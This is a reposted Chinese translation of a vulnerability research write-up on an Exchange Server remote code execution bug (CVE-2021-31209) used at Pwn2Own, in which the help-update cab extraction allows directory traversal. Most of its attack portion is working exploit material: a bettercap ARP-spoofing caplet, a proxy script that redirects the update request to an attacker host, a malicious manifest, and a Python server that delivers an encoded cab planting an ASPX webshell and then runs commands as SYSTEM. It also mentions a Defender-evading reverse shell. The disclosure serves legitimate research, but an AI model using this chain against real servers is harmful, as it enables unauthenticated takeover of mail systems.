
2020 年 11 月中旬,我在 Microsoft Exchange Server 中发现了一个逻辑远程代码执行漏洞,该漏洞有一个奇怪的转折——它需要在触发之前发生中间睡眠(MiTM) 攻击。我发现这个错误是因为我正在寻找调用以WebClient.DownloadFile希望发现服务器端请求伪造漏洞,因为在 Exchange 服务器内的某些环境中,这种类型的漏洞可能会产生巨大的影响。后来,我发现SharePoint Server也受到了基本相同的代码模式的影响。
当管理用户在 Exchange 命令行管理程序中运行Update-ExchangeHelp或命令时,处于特权网络位置的未经身份验证的攻击者(例如 MiTM 攻击)可能会触发远程代码执行漏洞。Update-ExchangeHelp -Force
在Microsoft.Exchange.Management.dll文件内部Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand定义了类:
protected override void InternalProcessRecord()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
ex = this.helpUpdater.UpdateHelp(); // 1
}
//...在[1]处,代码调用该HelpUpdater.UpdateHelp方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater课堂内部,我们看到:
internal UpdatableExchangeHelpSystemException UpdateHelp()
{
double num = 90.0;
UpdatableExchangeHelpSystemException result = null;
this.ProgressNumerator = 0.0;
if (this.Cmdlet.Force || this.DownloadThrottleExpired())
{
try
{
this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string path = this.LocalTempBase + "UpdateHelp.$$$\\";
this.CleanDirectory(path);
this.EnsureDirectory(path);
HelpDownloader helpDownloader = new HelpDownloader(this);
helpDownloader.DownloadManifest(); // 2此函数执行一些操作。第一个是在[2]DownloadManifest被调用时。让我们来看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest:
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted)); // 3
}
}在[3] 处,代码AsyncDownloadFile使用ManifestUrl. 在ManifestUrl当设置LoadConfiguration方法是从所谓的InternalValidate:
protected override void InternalValidate()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
this.helpUpdater.LoadConfiguration(); // 4
}internal void LoadConfiguration()
{
//...
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString(); // 5在[4] 处,代码LoadConfiguration在验证 cmdlet 的参数期间调用。这台ManifestUrl以http://go.microsoft.com/fwlink/p/?LinkId=287244如果注册表配置单元不存在:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp在[5] 。默认情况下,它不是,所以值总是http://go.microsoft.com/fwlink/p/?LinkId=287244。
返回AsyncDownloadFile在[3]这种方法将使用WebClient.DownloadFileAsyncAPI下载文件到文件系统。由于我们无法控制本地文件路径,所以这里没有 vuln。稍后UpdateHelp,我们会看到以下代码:
//...
if (!this.Cmdlet.Abort)
{
UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
if (updatableHelpVersionRange != null)
{
double num2 = 20.0;
this.ProgressNumerator = 10.0;
this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
if (array.Length != 0) // 7
{
this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl); // 8
if (this.Cmdlet.Abort)
{
return result;
}
this.ProgressNumerator += num2;
this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
helpInstaller.ExtractToTemp(); // 9
//...这里有很多东西要解开(请原谅双关语)。在[6]处,代码在下载的清单文件中搜索特定版本或版本范围,并确保 Exchange 服务器的版本在该范围内。该检查还确保新修订号高于当前修订号。如果满足这些要求,则代码将继续执行[7]以检查文化。由于我的目标是英语语言包,因此我将其设置为en以便以后可以构建有效路径。然后在[8]处CabinetUrl下载并存储。这是在 xml 清单文件中指定的 .cab 文件。
最后在[9]使用以下方法提取 cab 文件Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded); // 10
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}在 [10] 中,代码调用其中Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles包含Microsoft.Exchange.CabUtility.dll本机代码的混合模式程序集,以使用导出的函数提取 cab 文件ExtractCab。不幸的是,这个解析器在提取之前没有注册回调函数来验证文件不包含目录遍历。这使我可以将任意文件写入任意位置。
文件写入漏洞并不一定意味着远程代码执行,但在 Web 应用程序的上下文中它经常发生。我在 Pwn2Own 上提出的攻击写入了该C:/inetpub/wwwroot/aspnet_client目录,这使我可以向 shell 发出 http 请求,以便在没有身份验证的情况下以 SYSTEM 身份执行任意代码。
让我们回顾一下设置,以便可视化攻击。
第一步将要求您对目标系统执行 ARP 欺骗。对于这个阶段,我选择使用bettercap,它允许您定义可以自动执行的 caplets。我想我上一次进行有针对性的 MiTM 攻击是在12年前!这是我的poc.cap文件的内容,它设置了 ARP 欺骗和代理脚本来拦截和响应特定的 http 请求:
set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on该poc.js文件是我编写的代理脚本,用于拦截目标请求并将其重定向到攻击者托管的配置文件http://192.168.0.56:8000/poc.xml。
function onLoad() {
log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
log_info("Found by Steven Seeley of Source Incite")
}
function onRequest(req, res) {
log_info("(+) triggering mitm");
var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
res.Status = 302;
res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
}
}此poc.xml清单文件包含CabinetUrl托管恶意 cab 文件以及Version更新所针对的范围:
<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>1</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>我将清单和文件传递过程打包poc.cab到一个小的 Python http 服务器中,poc.py它还将尝试使用要poc.aspx以 SYSTEM 身份执行的命令来访问文件:
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>%s</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass在每次攻击尝试时,Revision需要增加数字,因为代码会将值写入注册表,并且在下载清单文件后,将Revision在继续下载和提取 cab 文件之前验证文件是否包含更高的数字。
执行mspaint很酷,但是对于 Pwn2Own,我们需要一个 Defender 绕过pop thy shell. 在Orange Tsai放弃了他的ProxyLogin漏洞利用的细节后,微软决定尝试检测 asp.net web shell。因此,我采用了与 Orange 不同的方法,编译了一个自定义二进制文件,该二进制文件执行反向 shell 并将其放到磁盘上并执行它以绕过 Defender。
我们首先使用poc.capcaplet 文件运行 Bettercap :
researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]
[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)现在我们 ping 目标(以更新目标缓存的 Arp 表)并运行poc.py并等待管理用户运行Update-ExchangeHelp或Update-ExchangeHelp -Force在 Exchange 管理控制台 (EMC) 中运行(-Force如果该Update-ExchangeHelp命令已在过去 24 小时内运行,则需要):
researcher@pluto:~/poc-exchange$ ./poc.py
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"
researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!这不是Pwn2Own第一次使用MiTM 攻击,很高兴在比赛中发现了一个与其他研究人员没有冲突的漏洞。这只能通过在 Exchange Server 中找到新的向量和/或表面来寻找漏洞来实现。逻辑漏洞总是很有趣,因为它几乎总是意味着被利用,而使用传统的自动化工具很难发现这些相同的问题。有人认为,所有网络漏洞实际上都是合乎逻辑的。即使是基于 Web 的注入漏洞,因为它们不需要对内存进行操作,并且攻击可以临时重复。
由于 EMC 通过 PS-Remoting 连接到配置为 SYSTEM 运行的 IIS 服务,因此此漏洞对 Exchange 服务器的影响非常大。对于 SharePoint 命令行管理程序 (SMS) 直接受到影响的 SharePoint Server 而言,情况并非如此,实现了作为运行 SMS 的用户的代码执行。
Microsoft 将此问题修补为CVE-2021-31209,如果您尚未部署补丁,我们建议您立即部署。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。